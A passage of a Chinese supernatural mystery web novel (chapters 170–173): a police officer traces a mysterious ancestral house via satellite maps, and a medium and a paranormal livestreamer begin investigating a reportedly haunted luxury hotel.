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没有外人，咱们也是这么多年的老搭档了，不用老是敬礼，你也太讲规矩了。”
“老李跟我们说，要尊重领导，特别是要尊重队长，我一刻都不敢忘。”
“说到老李，他孙子的头七已经过了，不知道他现在的状态还好不好。”
“前几天我还给老李打了个电话，他陪着家人，一家人正慢慢走出失去孩子的阴影。我相信给他们一点时间，他们会走出来的。”
李队长点了点头：“那个面包店老板真不是个东西，让他这么死掉真是便宜他了。”
“我感觉面包店老板或许背后还有什么势力……队长，他只是一个面包店小老板，而且债台高筑，却在家里供奉邪神……我感觉像是有高人在背后指点，我们看到的面包店老板只是一个靶子，或许真凶还藏在暗处。”
林凌皱起眉头，说出了自己对新隆小区案件的看法，但他还想深入分析的时候，李队长却匆匆打断了他。
“好了好了，那个案子现在也正在追查其他五个死者的死亡真相，这件事情已经移交给二科处理了，你就不要操这份心了。而且，这个世道乱的很，什么人都有，面包店老板或许想自己养小鬼来改变自己的赌运也说不定，像他这样的赌鬼，不能用常理去揣测。”
“但是……”
“好了好了，你先去整理一下陵川一中的档案，这个事情你的报告还没有提交，今天赶工一下，下班前把报告放在我的桌子上。”
“是。”
李队长神色凝重地交代了几句重要事项之后，急匆匆地朝着门外走去。
就在他快步经过林凌身边时，突然间，一根洁白如雪的羽毛竟毫无征兆地从那叠文件的夹层之中滑落而出，宛如一片轻盈的雪花般飘然而下，最终不偏不倚地落在了林凌的脚边。
此时的李队长一心只想着尽快去处理手头的紧急事务，对于从自己身上掉落的这根羽毛浑然不觉，依旧迈着大步渐行渐远。
而一旁的林凌见状，则不由得微微皱起了眉头。
他疑惑地盯着地上那根羽毛看了几眼，然后缓缓蹲下身子，小心翼翼地伸出手将其拾了起来。
林凌把那根羽毛放在手心，轻轻地用手指捻动着它。
刹那间，他感觉到这根羽毛异常轻盈，仿佛没有一丝重量似的。
不仅如此，羽毛上还散发着一种淡淡的、属于鸟类特有的气味。这种气味既陌生又有些许熟悉，让林凌不禁陷入了沉思。
他凝视着手中的羽毛，越看越觉得这羽毛的颜色十分眼熟，但一时之间却怎么也想不起究竟在何处曾见过这般模样的羽毛。
那洁白的色泽如同冬日里初降的瑞雪，纯净无瑕；又如同一朵盛开在云端的白莲，高洁淡雅。
林凌努力回忆着过往的经历，试图从记忆的深处挖掘出与这根羽毛相关的线索……
【恭喜发财！恭喜发财！】
突然，脑海中想起了在面包店的那只白色鹦鹉，林凌瞬间雷击一样愣在原地。
他突然发现了一个细节——自从面包店老板出事之后，那只鹦鹉再也没有看到了。
是它自己飞走了吗？
还是……
它回到了自己真正的主人身边了？
170. 梁家祖宅
且说当下。
林凌捡到了从李队长身上掉下来的那根白色羽毛，他虽然心下疑惑，但还是暂时按住不提，先将那根白色的羽毛收进了自己的抽屉里，当做这一切都无事发生。
昨天请假了一天，今天有许多档案等着他整理，还有结案报告要写。
林凌在办公桌前坐下就开始忙碌了起来。
陵川一中的案子虽然来龙去脉已经摸清楚，但不知道内情的人只当做是学校翻新楼梯发现了尸体，他要写一份陵川一中案情的报告呈给市局，并整理相关人员的资料档案。
就在林凌忙碌时，突然手机震动了一下，他收到了一条来自沈聆的讯息：林警官，我手上有一份AI绘制的古宅图，我们想找到这个房子在哪里，请问你方便帮我们查一下吗？
随着这张信息发过来的，还有一张模糊的小图。
林凌点击下载这张图片，随着屏幕闪烁一下，仔细一看，原来这竟是一张由AI成像技术生成的古宅图。
由于是通过AI绘制而成，这幅图片的边缘处略显失真与模糊，仿佛被一层淡淡的雾气所笼罩，给整个画面增添了几分朦胧之美，然而，当目光聚焦到图片中央时，那座黑瓦白墙的古老房屋便清晰地映入眼帘。
在图片中，这座古宅的大门敞开着，宛如一个无声的邀请，吸引着人们去探索其中的奥秘。门是深色的木质门，而门上还有一个匾额，只是看不清上面写的是什么字，透过那扇半掩的门，可以瞥见院子正中间有一口古井，井水幽深而静谧，仿佛沉淀着岁月的记忆，井口周围的地砖已经布满了青苔，绿色的苔藓如绒毯般覆盖其上，诉说着时间的流逝和无人问津的寂寞。
尽管无法确定这座古宅如今是否仍有人居住，但仅从其独特的建筑风格来判断，它似乎承载着民国时期的历史印记。
或许在很久以前，这里曾住着一户热闹的人家，他们的欢声笑语在庭院间回荡；又或者，这座古宅见证过无数悲欢离合的故事，每一块砖瓦都铭刻着往昔的回忆。
林凌简介地回复了沈聆：好，我找一下。
沈聆随即解释了一下这张图片的由来：这张图片是AI绘成的，是马伯良帮我们画出来的图像，可能真实的样子会跟AI有所出入，不过这个房子对道长很重要，我想如果警方有卫星系统的话，可能会比我们跟方便找到这个房子的下落。
沈聆是对的。
现在警方的卫星系统十分发达，要找到某个房屋住宅并不是难事。
只不过这次沈聆发的图片并不是照片，而是通过印象构画出的AI图片，经过人脑的处理加工，所形成的图片会比真实的照片有所偏差，不过没有关系，如果能缩小一点范围也是好事。
林凌简洁地回复了一个表情包后，将这张图片转发到自己的电脑上。
用电脑打开图片后，他往后倾了倾身体，拉长了点距离看着这张图片。
——不知道为什么，他总觉得这张图片有点儿眼熟，似乎自己曾经在哪里看到过这栋房子。
就在这时，一个从林凌身后路过的同事瞥见了林凌电脑上放大的图片。
他一眼便认出了这栋房子：“诶？这不是梁家的祖宅吗？”
“什么？”
林凌吃惊地转过头看去，倒是没想到这张图片这么快就有了来源。
“对呀，这看着就是梁家的祖宅的样子……我老家就在他们家隔壁，我回老家的时候，曾经远远地从他们家门口路过，我见过他们祖宅的样子，跟这个图片上的大差不差。”
“居然是梁家吗……”
林凌喃喃。
他的手指飞快地敲击了几下键盘，在电脑里查了一下关于梁家的资料，但是奇怪的是，网络上关于梁家的资料并不多，似乎这个家族特地做了关于自家的保密处理，任何关于梁家的资料都无法直接从搜索软件中寻找。
随即，林凌点开了卫星定位软件，他在卫星定位上输入了“陵川市”、“梁家”这几个关键字眼，但奇怪的是，卫星定位软件转了半天，确也没有找出任何和梁家祖宅有关系的定位。
“……你知道梁家的祖宅在哪里吗？大致的位置也可以。”
林凌换了个思路。
同事想了想，大概在脑海中回忆了一下自己曾经去过的地方：“在西乡，在村口大榕树的旁边，我记得很清楚，在榕树后再走几百米，就可能看到他们的祖宅，只不过他们平常不让人靠近，我也是过年的时候从门口路过了一下，才看到里面有一口井，我当时印象很深刻，因为我们那里并没有人在家里凿井，以前全村共用的是榕树下的井，吃的也是同一口井的水。”
“那我看看……榕树下……”
林凌换了个思路，直接定位了一下西乡的位置，并在卫星地图上果然找到了村头的一棵大榕树。
按照同事的回忆，将搜索范围扩大到西乡村，并且将AI图片输入到搜索软件里，果然，在卫星地图转了将近一分钟之后，在卫星地图上定位到了一个小小的点。
林凌小心翼翼地将那个光点逐渐放大，随着画面越来越清晰，他终于能够从卫星的俯视角度看清下方的景象，只见地面上分布着几个四四方方的房屋群落，这些房屋紧密相连，形成一个个错落有致的院落。
仔细观察可以发现，每个院落都呈现出规则的几何形状，有的是正方形，有的则是长方形，它们整齐划一地排列着，仿佛经过精心设计一般。它们的占地面积并不小，可以看出房产的拥有者是一户大户人家。
然而，由于这只是卫星地图提供的俯视图，所以尽管能大致分辨出房屋的轮廓和布局，但却无法看到房子的正面细节。
这些房屋看起来像是一个神秘的建筑群，隐藏着不为人知的故事和秘密。
林凌若有所思地看着这张地图，手中拿着水笔，轻轻用水笔敲击着桌面，他回想起了沈聆口中关于“梁林”的事情，看
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来，这个梁家确实不简单。
他转念一想，起身打算去联系西乡派出所，如果能调取到西乡路口的监控摄像头画面，或许从那些路口的监控画面中可以找到梁家祖宅的正面图。
……
与此同时，沈聆这边刚刚下课。
在下课铃声响起的时候，上课时沉闷的气氛仿佛被下课铃声激活了一样，原本死气沉沉的课堂因为这下课铃声而活跃了起来。
老师分发完试卷后，还站在讲台上强调今天上课的重点，但同学们已经开始交头接耳了起来，下课的铃声吹醒了同学们枯燥的心，让大家恢复了几分活力。
沈聆的手机震动了一下，她小心地从抽屉里拿出手机，发现在自己上课期间，一共有两条未读短信。
一条，是林凌的。
【这房子应该是西乡的梁家祖宅，但是目前只能在卫星地图上定位到俯视图和大概的位置，我去联系一下西乡派出所，看看能不能调取到路口的监控画面。】
沈聆在看到这条短信的内容，心下一惊。
她没想到这件事情居然也和梁家有关系。
那天晚上在人鱼镜前，吴妄询问的一定是关于当年吴家村被屠村的真相，那么人鱼镜给出的答案应该就是和屠村有关的人，如果按照这样推理，那么梁家是否参与了吴家村惨案？还是说……梁家就是主谋？
根据外婆所说，梁家老太爷是在八十年代经商后暴富的，如果他真的借助了某种“神秘的力量”，那么是不是可以在梁家祖宅找到一些蛛丝马迹呢？
西乡。
那也是沈聆外婆的家。
外婆曾说过，梁家是她的邻居。
因为之前沈聆的妈妈不常带他们回外婆家，就算回去，他们也坐坐就走，因此沈聆并没有见过同村的梁家祖宅。
现在想来，西乡并不是一个简单的地方呀，得找个时间回去西乡看看，顺便查一查关于梁家的事情。
沈聆这么想着，给林凌回复了个道谢的表情包，随后，她看向了第二条讯息。
第二条讯息，是宋明夷发过来的。
恢复了精气神的宋明夷，最近那名为“小小夷”的账号更是捣腾得风生水起。
她作为一名灵异主播，已经推出了“灵异探案”、“祭魂”等专题视频。
可以说这个副业已经超过了她主页的收入，并且在同类视频主播的赛道上一骑绝尘。
沈聆点开了宋明夷的短信，迎面看到一个大大的表情包，在表情包下面，还有宋明夷发来的一段文字。
【小聆聆！本主播最近接到了一个活！】
【本市世纪大酒店最近发生了灵异事件，一些人在酒店里看到了不干净的东西，世纪大酒店的经理认为这是一个出圈的机会，他邀请我作为灵异主播探查一下酒店里是否有不干净的东西，顺带打出酒店的知名度，我想了想感觉是个搜集素材的好机会，我们找个时间一起去看看吧！】
171. 噩梦
这天晚上，沈聆做了个梦。
这个梦，是个噩梦。
在那个神秘莫测的梦境之初，她孤身一人缓缓行走于一条蜿蜒曲折、狭窄如羊肠般的小道之上。
头顶上方的天空呈现出一片令人窒息的压抑黑色，仿佛整个世界都被这片浓重的黑暗所笼罩，然而，就在那厚重如墨的黑色云朵之中，不时会有一双双诡异的眼睛突兀地弹出来，如同幽灵一般悄悄地窥视着她。
道路两旁，则生长着茂密而杂乱的杂草。
这些杂草远远望去宛如一片片高大的芦苇丛，它们甚至比人的个头还要高出一头有余，在这阴森幽暗的芦苇丛深处，似乎隐藏着某种不知名的物体正悄然无声地快速窜动着，偶尔传来一阵轻微的沙沙声，让人毛骨悚然。
沈聆手提一盏光线微弱且昏暗无比的油灯，小心翼翼地迈着步子走在这条漫长而又充满未知危险的道路上。
时间在不知不觉间流逝，她自己也记不清究竟已经走了多久，忽然之间，前方不远处隐约出现了一抹红色的光芒。
她心中不禁涌起一丝好奇和期待，加快脚步朝着那抹红光靠近过去。
待她逐渐走近之后才惊讶地发现，原来眼前所见竟是一座古色古香的宅院。
这座宅院屋顶覆盖着漆黑发亮的瓦片，四周墙壁则洁白如雪，宅门前悬挂着两只鲜艳夺目的大红灯笼，在风中轻轻摇曳着，散发出一种暧昧不明的光亮，更令人感到诧异的是，那扇原本紧闭着的大门此刻竟然微微敞开着一道缝隙，仿佛正在以一种无声的方式热情地邀请她踏入其中。
她小心翼翼地推开那扇略显沉重的门，伴随着“吱呀”一声，门缓缓打开。
此时的宅子里弥漫着一种诡异的氛围，四处悬挂着红色的灯笼。
那些灯笼散发出幽幽的红光，仿佛是来自地府的鬼火一般，虽然每一个灯笼都努力地照亮着周围一小方区域，但那微弱的光芒在距离稍远一点之后，就变得模糊不清起来，而更深处的黑暗，则像是一头贪婪的巨兽，无情地吞噬着宅内所有的光亮和希望。
她的目光落在宅子正中间的那口古井上。
她提着灯、迈着有些迟疑的步伐慢慢地朝着水井走去。
随着她逐渐靠近，耳边传来一阵若有若无的奇怪声响，这声音仿佛是从幽深的井底传来的呜咽声，又好似是什么东西在挣扎时发出的呼喊。
她的心猛地一紧，脚步也不自觉地停了下来。
然而，好奇心最终还是驱使着她继续向前。
终于，她来到了水井边。
站定后，她深吸一口气，然后低头朝着井口望去——只见平静如镜的水面突然泛起了一丝涟漪，紧接着，一张苍白如雪的女人脸庞缓缓浮现出来，那张脸紧闭着双眼，毫无生气，如同沉睡中的幽灵。
看着水中的倒影，一股寒意瞬间从她的脚底直冲脑门，让她不由自主地打了个寒颤。
令她感到恐惧的是，她清楚地看到，那水面中倒映出的女人竟然不是自己！
而是......秦琴！
在看到秦琴那张惨白的脸时，沈聆猛然睁开眼睛，满额冷汗地从梦境中醒来。
她不安地喘着气，胸口微微起伏着，她的意识仍有点儿浑浊，似乎沉浸在水井、古宅的世界里，感觉到阳光穿过窗帘落入房间、落在她身上，她缓了一分钟，这才从那温煦的阳光中逐渐回过神来，意识到方才恐怖的幻境只不过是自己的梦。
窗帘被吹入房间的风轻轻吹动着，那阳光照亮了书桌前的课本，她揉了揉眼睛，感觉那束光有点儿刺眼，瞥见书桌上的闹钟显示着7：30，她一倒头，再一次躺在了床上。
今天是周六，倒是不用去学校，但看着白色的天花板，沈聆的思绪却久久无法平息。
秦琴的事情，一直是压在沈聆心头的一块石头。
秦琴是她的恩人，如果不是秦琴在临终前将灵元草交给她，或许她早已死了十几次了，但自己却到现在为止都没有找到秦琴的尸体，自从上次在幻境中看到了被煞气缠绕的秦琴后，就再也没有关于秦琴尸体的下落，一直到前几天，在宋明夷的手机上，拍到了疑似站在走廊、看着他们玩四人游戏的秦琴。
当时他们所有人的注意力都在这游戏的进程以及突然多出来的第五个人身上，谁都没有注意窗户外面多站了一个人，那究竟是偶然拍到的光影，还是真的是秦琴的尸体下落？
沈聆不知道。
但她感觉这一切和那个煞气缠身的小女孩逃不开关系。
是那个小女孩制造了干尸坑的惨案，也是她指使面包店老板犯罪，她像是潜藏在黑暗深处的妖邪，在吞噬着人世间许多无辜的生命。
而到目前为止，沈聆对于那个小女孩的身份背景，还一无所知。
不过调查也不是没有进展，所谓的“梁家”似乎正在一点点浮出水面。
目前知道的线索是……梁家也想找到人鱼镜的下落，梁家或许和吴家村被屠村的事情有关，以及……梁林一定藏着更大的秘密。
这一切似乎有着千丝万缕的联系，但就目前为止，知道的信息还太少了。
就在沈聆发呆的时候，她的手机震动了一下。
她打开手机，发现是宋明夷发来的讯息。
这是一条陵川市世纪大酒店的介绍——
【#世纪大酒店：奢华与卓越的完美融合：世纪大酒店，坐落于陵川市的心脏地带，宛如一颗璀璨的明珠，散发着无尽的魅力与奢华。】
【酒店外观设计独具匠心，现代主义风格的建筑线条简洁流畅，与周围的城市景观相得益彰。高达18层的宏伟建筑，不仅是城市天际线的重要组成部分，更是尊贵与品质的象征。】
【踏入酒店大堂，您便能感受到扑面而来的奢华气息。】
【世纪大酒店拥有各类豪华客房与套房，每一间都经过精心
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设计与布置。客房空间宽敞明亮，装修风格典雅精致，融合了现代时尚与经典元素。从柔软舒适的大床到高品质的床上用品，从宽敞的落地窗到完备的现代化设施，每一个细节都致力于为您提供极致的舒适体验。套房更是配备了独立的客厅、餐厅与书房，以及专属的私人管家服务，让您尽享尊贵。】
【酒店的餐饮设施丰富多样，堪称美食的殿堂。酒店餐厅专注于本地特色美食，由经验丰富的厨师团队选用新鲜的当地食材，精心烹制出一道道原汁原味的地方佳肴，让您在品尝美食的同时，领略当地的风土人情。此外，酒店还设有温馨惬意的大堂吧与典雅的行政酒廊，是您休闲放松、商务洽谈的理想场所。】
【对于商务旅客而言，世纪大酒店无疑是最佳的选择之一，酒店配备了先进完善的商务设施，拥有多个不同规模的会议室与宴会厅，可满足各类商务会议、研讨会、产品发布会、婚礼庆典等活动的需求。会议室均配备了高清投影仪、音响系统、高速无线网络等现代化设备，并提供专业的会议策划与服务团队，确保您的每一场活动都能圆满成功。】
【在休闲娱乐方面，世纪大酒店同样不遗余力。本酒店内设有设施完备的健身中心，配备了先进的健身器材，无论您是喜欢有氧运动还是力量训练，都能在这里找到适合自己的锻炼方式。此外，还有宁静的室内游泳池、舒适的水疗中心与桑拿浴室，让您在繁忙的行程中放松身心，恢复活力。】
【无论是商务出行还是休闲旅游，世纪大酒店都将以其奢华的环境、卓越的设施与优质的服务，为您打造一段难忘的住宿体验，成为您旅途中最温馨、最舒适的家外之家。】
一长串介绍下，还有世纪大酒店的照片，酒店的停车场、花园、大厅、餐厅、房间等等，都有附带照片，看起来像是一个旅游介绍手册。
在看完这些后，宋明夷的电话就来了。
沈聆接了这电话的瞬间，便从电话那头传来了宋明夷开朗的声音——
“小聆聆！你起床了吗？”
“你觉得呢？我都接了你电话了，难道我还在睡觉吗？”
“今天是周六，我们一起去世纪大酒店看看吧！经理说，可以给我们免费开一个大床房，方便我们在酒店里调查、拍摄灵异事件！”
“但是我本来打算今天去西乡看看……”
“哎呀，那个房子的事情又不着急，房子又没有长腿，跑不了的，我们先去拍酒店的灵异事件说不定还可以引起一波热度，而且说不定你还可以继续给你妹妹攒阴德呢！”
“但是……”
沈聆还在犹豫的时候，吴妄的声音从门口传来——
“不然，你就陪她去吧，今天我去西乡就可以了。”
沈聆从床上坐了起来，看见站在门口的吴妄早已经起床梳洗好了，甚至已经换上了出门的衣服。
看来……他已经等不及要去追查吴家村的真相了。
172. 世纪大酒店
且说当下。
宋明夷力邀沈聆到世纪大酒店调查灵异事件，沈聆原想着今天和吴妄一起去西乡调查梁家祖宅的事情，但因为宋明夷的一再坚持，她反而不好再推脱。
吴妄认为自己只身去梁家祖宅调查或许出入更方便，毕竟一个人行动起来也不会拖泥带水，多了几个人反而束手束脚、增加被发现的可能性。
于是乎，在千叮咛万嘱咐后，沈聆和吴妄分头行动。
吴妄去调查梁家祖宅的事情，但他保证自己绝不冲动行事，无论是否能够调查到有价值的线索，都必须先回家和大家商量后再做决策。
而沈聆这头，则和宋明夷一起去世纪大酒店调查酒店内的灵异事件。
按照宋明夷的说法，最近世纪大酒店内并不太平，许多灵异事件频频发生，住在世纪大酒店内的顾客人人自危，但酒店的经理却认为这是一个很好的商机——毕竟豪华酒店遍地都是，但是闹鬼的酒店可不常有。
因此，他看中了当前话题讨论度和热度最高的灵异主播“小小夷”，邀请小小夷到自己的酒店做一次专题探访，出一期专门的探索类节目。
当然了，在录制素材期间，酒店将提供VIP全景房供小小夷和其他工作人员使用，吃住全免，为主播提供最大的诚意。
酒店一方想借此机会打出自己的名气，并且如果能够让自己的酒店通过这些传闻而增加入住率，何乐而不为？
毕竟现在的人多少都有猎奇的心理，无论是真的喜欢探索灵异现象亦或者是怀着打假的心情入住酒店，只要能吸引来客人，酒店并不介意外界的传闻是好是坏。
换句话说……赚到钱，才是王道。
“……既然他们是邀请你去，为什么你非得拉上我啊？”
沈聆坐在出租车的后排，看着窗外的风景。
车窗下拉了一半，迎面的风带着几分凉意，她不由得拢了拢自己的外套，感觉今年的春天似乎比往年要更冷一点。
“你不懂，小聆聆，如果只是我去的话，拍到的肯定是一些没什么价值的镜头，那些镜头如果放在网上，肯定会被网友喷我是在捕风捉影之类的……但如果你和我一起去就不一样啦，你可是阴厨诶，你是有两把刷子的人，如果能真的召唤出什么不得了的东西，那可是个大收获啊！”
宋明夷坐在沈聆旁边，兴奋地调试着自己的拍摄设备。
她心里已经谋划好了所有细节，从今天要拍摄的角度，到后期剪辑使用的BGM，她已经完美地设计了一期绝佳的“闹鬼酒店探访专题”，相信到时候一定可以引起一波网络热度。
“你的摄像头是拍不到什么的东西的……最多看到一些模糊的影子，你之前又不是没有试过。”
“如果真的拍到了太真实的东西人家才不相信呢，越是这种迷糊不清的东西，网友越是容易相信……特别是那些模糊的白色的影子，简直给人留下无限的想象空间，就是要让他们自己脑补，让他们有兴趣过来探索，才是我们和酒店双赢的局面。”
“这经理也真是个人才……如果把自己的酒店打上‘灵异’标签，也不担心会减少客流量。”
“他们才不担心呢，现在这种新奇的酒店很少，在这个赛道反而可以‘弯道超车’，你知道美国诺顿街区的塞西尔酒店吗？那可是著名的灵异酒店啊，不只是灵异事件，发生在塞西尔酒店的凶杀案也很多……结果现在呢，人家也继续好好地运营着，并且因为那些灵异事情更加出名了，在某种方面来说，甚至比五星级酒店更加出名。”
宋明夷语重心长地分析着当前的市场动态，她明明只是一个二十出头的年轻人，但说起这些来却头头是道，就仿佛是纵横商场四十余年的老油条。
“所以啊，世纪酒店的顾经理也是看到了这一点，才打算给自己的酒店增加一点名气，这才联系到我，给我提供了这个机会。”
“但是……他知道我是阴厨吗？”
“知道的。”
“他相信这个世界上真的有阴厨这个职业？”
“我不知道他相不相信，但是……他相不相信真的重要吗？”
“你的意识是……”
“我们拍摄到的东西，是真的也好，假的也罢，其实顾经理并不在意这些，他要的是在网络上引起热度，引起网友的好奇，这样就够了，至于他的酒店是否真的闹鬼，我感觉他并不在意，又或者说，他并不将心思放在这上面。”
“那还真是个混蛋的生意人。”
“是的，但是这个世道，往往是这样的人才能飞黄腾达，‘不择手段’这个词放在当下，那可不是一个贬义词。”
“有道理。”
两个人就这么坐着出租车，朝着世纪酒店而去。
不多时，出租车停在了一个豪华酒店前。
“到了。”
“好的，谢谢师傅。”
“谢谢。”
一下车，沈聆迎面便看到了一个豪华花园。
洁白如雪的砖墙宛如一条蜿蜒的巨龙，紧紧地环绕着一座郁郁葱葱、绿意盎然的花园。
透过那疏密有致的砖墙缝隙，隐约能够窥见花园内蓬勃生长的景象，那些翠绿的枝叶在微风中轻轻摇曳，仿佛是大自然舞动的旋律；五颜六色的花朵争奇斗艳，散发出阵阵迷人的芬芳。
酒店前的花园里有一个精心修建的迷宫，跟电影里看到的一样，这些迷宫是花匠用花圃修建而成的，高大的绿植墙壁郁郁葱葱，翠绿的叶片在阳光下闪烁着生命的光泽，迷宫的通道蜿蜒曲折，如同一条没有尽头的绿色丝带在大地上舞动。
阳光透过枝叶的缝隙洒下，形成一片片斑驳的光影，宛如金色的碎片散落在地面，每一个转角都充满了未知，让人既兴奋又紧张，不知道下一刻会遇见怎样的风景。
“跟我走，我手里有这个迷宫的地图，是顾经理给我的。”
宋明夷在前面带路，沈聆紧随其后。
她们带着这次拍摄用的装备，两人各背着一个黑色的大背包，除了宋明夷的拍摄设备之外，两人的背包里还带了一天的换洗衣物，按照计划，她们今天晚上需要住在酒店拍摄素材，并且在入夜后探寻酒店的灵异事件。
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>从花园迷宫出来后，视野豁然开朗了起来，只见远处矗立着一座气势恢宏、独具特色的城堡风格酒店。
它静静地坐落于这片广袤的庄园之中，宛如一颗璀璨的明珠镶嵌其中，远远望去，这座酒店不仅有着高大雄伟的建筑外观，还有着精致华丽的装饰细节，酒店的前半部分是呈“回字形”的建筑群，而在远处，还有一个塔楼，远远看去，尖顶的塔楼高耸入云，拱形的窗户和门廊错落有致，给人一种庄严肃穆却又不失优雅浪漫的感觉。
与其说是酒店，更不如说这像是从中世纪穿越而来的豪华庄园。
无论是其独特的建筑风格，还是周围精心修剪的草坪和绿树成荫的景观，都无不彰显出尊贵与奢华。
而这里，便是陵川市星级最高的世纪大酒店，它以无与伦比的魅力吸引着来自世界各地的游客前来体验和享受。
“了不起……我这还是第一次来世纪大酒店，真是对得起它的名字。”
沈聆看着远处的酒店主体建筑，忍不住感叹。
“看看你那没见过世面的样子，小聆聆，这些在我看来都一般般啦，等我名气更大一点，我们还可以去接外省的业务，到时候住这种豪华酒店更是不在话下。”
宋明夷在吹牛皮上是有一套上的，虽然是一个遥遥无期的目标，但是每次从她口中说出来的时候，都像是明天就会实现的愿景。
“那……那个顾经理呢？”
“他在大厅等我们，放心吧，我刚才已经联系过他了，他很欢迎我们入住酒店。”
“行，我就当出来玩了，反正都是免费的。”
“这才对嘛，小聆聆，你最近精神太紧张了，我看你很需要出来度假，正好，这次的拍摄就当做是一次免费的假期了。”
“你可真行，拿着别人的钱给你做人情。”
“哈哈哈哈，出来混的人，脸皮当然要厚一点。”
两人说着，已经来到了酒店门口。
白色的台阶旁有两个大象的雕塑，这两尊雕塑让门面看起来更加气派。
她们沿着台阶而上，迎面便是酒店大厅的入口，透过门口的旋转玻璃门，依稀可以看到酒店大厅内的金碧辉煌。
此时，两个穿着制服，带着白手套的男侍从迎了上来，其中一人礼貌地开口问道：“请问，两位是主播小小夷吗？”
“我是。”宋明夷点了点头，“我已经和你们的顾经理约好了，会在这里住一晚上，他刚才回复说他在大厅等我。”
“是的，我们的顾经理已经到前台来了，吩咐我们来接二位，帮二位拿一下行李。”
男侍从说着，优雅地比了个姿势。
“请二位跟我来。”
“走吧。”宋明夷拉着沈聆，就要跟上男侍从。
这个时候，沈聆突然莫名感觉到背后一凉，这奇怪的感觉让沈聆不由得抬起头看向了上方。
她看见18楼的窗口，似乎有人正从上面往下看着，但是在她看到那人的身影时，对方却又忽然躲进了窗户里，就像是……在躲避她的目光。
是谁？
173. 顾六壬
一踏入酒店大厅，一股奢华与典雅的气息便扑面而来。
璀璨的水晶吊灯从高高的天花板上垂落下来，如同一串串闪耀的繁星，散发着柔和而明亮的光芒。
光滑的大理石地面倒映着吊灯的光影，营造出一种梦幻般的氛围。
沈聆迎面见到大厅中央摆放着一组精致的沙发，柔软的皮革材质搭配着典雅的设计，让人忍不住想要坐上去，享受片刻的舒适与宁静。一旁的绿植点缀着整个空间，为大厅增添了一抹生机与活力。
一楼大厅巨大的落地窗让充足的阳光洒入，窗外的美景尽收眼底。
在这个宽敞而华丽的酒店大厅里，人们仿佛置身于一个艺术的殿堂，享受着高品质的服务和舒适的环境。
她们跟着男侍从来到前台，前台的工作人员身着整齐的制服，微笑着迎接每一位宾客，专业而热情。
此时，一个穿着黑色西装的男人正背对着她们，似乎正在跟酒店的前台小姐说话。
“你们要注意登记来访者的信息……还有18楼，最近尽量不要把18楼的房间放出去……”
男侍从将沈聆和宋明夷逮带到了那男人身边，他听到了身后的脚步声，转过头对上了沈聆和宋明夷的视线。
眼前这个男人看上去约莫四十来岁的年纪。
他的个头并不高，甚至可以说是有些矮小，但整个人却散发着一种独特的气质——只见他身着一套剪裁得体、质地优良的笔挺西装，这西装似乎是定制的，每一处线条都经过精心设计，完美地贴合着他的身形。
再看他的面容，一双小小的眼睛微微眯起，透露出几分精明与狡黠；长长的鼻子高高挺起，犹如一座山峰屹立在脸部中央；而那张原本光洁无瑕的面庞上，一小撇八字胡格外引人注目，恰到好处地点缀其中，使得他乍一看去宛如美国电影里那些体贴入微、办事周全的管家一般。
不仅如此，他还戴着一副洁白如雪的手套，在沈聆靠近时，便感觉到一股淡淡的古龙香水味扑鼻而来，萦绕在鼻尖，令人不禁对这位神秘男子产生更多的好奇和遐想。
想必，这位就是顾经理。
但奇怪的是，在沈聆看到顾经理的第一眼，就感觉自己似乎在哪里见到过这个人。
很熟悉的面相。
但她又一下子想不起来。
男侍从礼貌地鞠躬：“顾经理，主播小姐来了。”
这位被称为“顾经理”的男人露出一个礼貌的微笑，伸出了带着白手套的手：“你们好，我是世纪酒店的经理，我叫顾六壬，你们可以叫我小顾就好。”
“您好，顾经理，我是主播小小夷，您也可以叫我的真名，宋明夷，这位是我的助理，沈聆，也就是我跟您说过的阴厨。”
“您好，我叫沈聆。”
两人分别和顾经理握手之后，顾经理继续保持着脸上那个礼貌的微笑。
“之前我已经和明夷小姐对接过了，我们酒店已经安排了豪华房间给二位，麻烦二位这两天住在世纪酒店调查一下我们酒店发生的怪事……当然了，我本人是一个坚定的无神论者，我是不相信闹鬼什么的，但是最近的传言有点儿多，在网上也有许多言论对我们酒店作出不同的揣测，我想着，借着这次机会，让专业主播调查一下我们酒店是否有什么不干净的东西，也好作澄清。”
他的语速不急不慢，有条不紊，所有逻辑严丝合缝，从他话语中可以感觉到这是一个很理性的人。
沈聆点了点头，这些在来之前宋明夷已经交代过她了，她们要做的，就是今天入住酒店后，查一查酒店里是不是有不干净的东西，如果有的话，就利用她阴厨的身份，将那鬼魂唤出，看看是否有什么自己能做的事情，顺便也能积攒一波阴德。
这是她来的根本目的。
沈凝的先期手术虽然已经做了大半，但是沈凝毕竟还在ICU，也还没有转醒，只要妹妹一天没有醒过来他，她就有必要继续积攒阴德。
沈聆不能停下来，因为妹妹的病情不允许她停下来。
这么想着，沈聆便稍微安了安心神。
在她看来，这次的调查与其说是采集灵异事件的拍摄素材，更不如说像是新的唤魂“业务”。
“那么，我们酒店都发生了什么奇怪的事情吗？”沈聆想先了解一下情况，毕竟如果真的有鬼魂，她也必须知道自己要在哪个地方唤魂。
“这个嘛，跟所有的酒店灵异传闻差不多……比如，会在半夜听到女人的哭声，在房间里听到脚步声，没有开窗户的窗帘突然被吹动了，以及酒店的水龙头打开看到血水等等，我们前台已经接到了许多类似的反馈，我让他们前台整理了一本资料本过来。”
顾经理说着，从酒店前台手中接过了一本牛皮封面的笔记本。
他将这笔记本递给了沈聆，沈聆简单翻开了几页，看到里面是按照事件进行记录，记录得十分详细，例如在某年某月某日，XX接到了XXXX号房间反馈的事件，下面配套的还有保安当时去现场拍摄的照片以及顾客的证词。
大部分人反馈的话都是——我看到了不干净的东西。
沈聆粗略地翻了一遍，大概有十多起这样的事件，就一个普通酒店来说，确实也不少了。
外婆曾经说过，普通人一般是感觉不到鬼魂的，但是不排除有些人天生感知觉比较灵敏，能察觉到别人察觉不到的东西，这样的人，往往有通灵体质，这本笔记本上面记载的酒店灵异事件或许也并不全都是顾客有疑心病，可能其中真的有通灵体质的人感觉到了什么不干净的东西。
——这里还是有点儿调查价值的。
沈聆这么想着，朝着宋明夷点了点头。
“那麻烦您了，我们现在先去房间里放一下行李，然后我们俩需要商量一下，看看要如何进行调查，从哪里调查……我想，我们可以先看看您这本笔记本，看看频频出现灵异事件的是哪一层楼。”
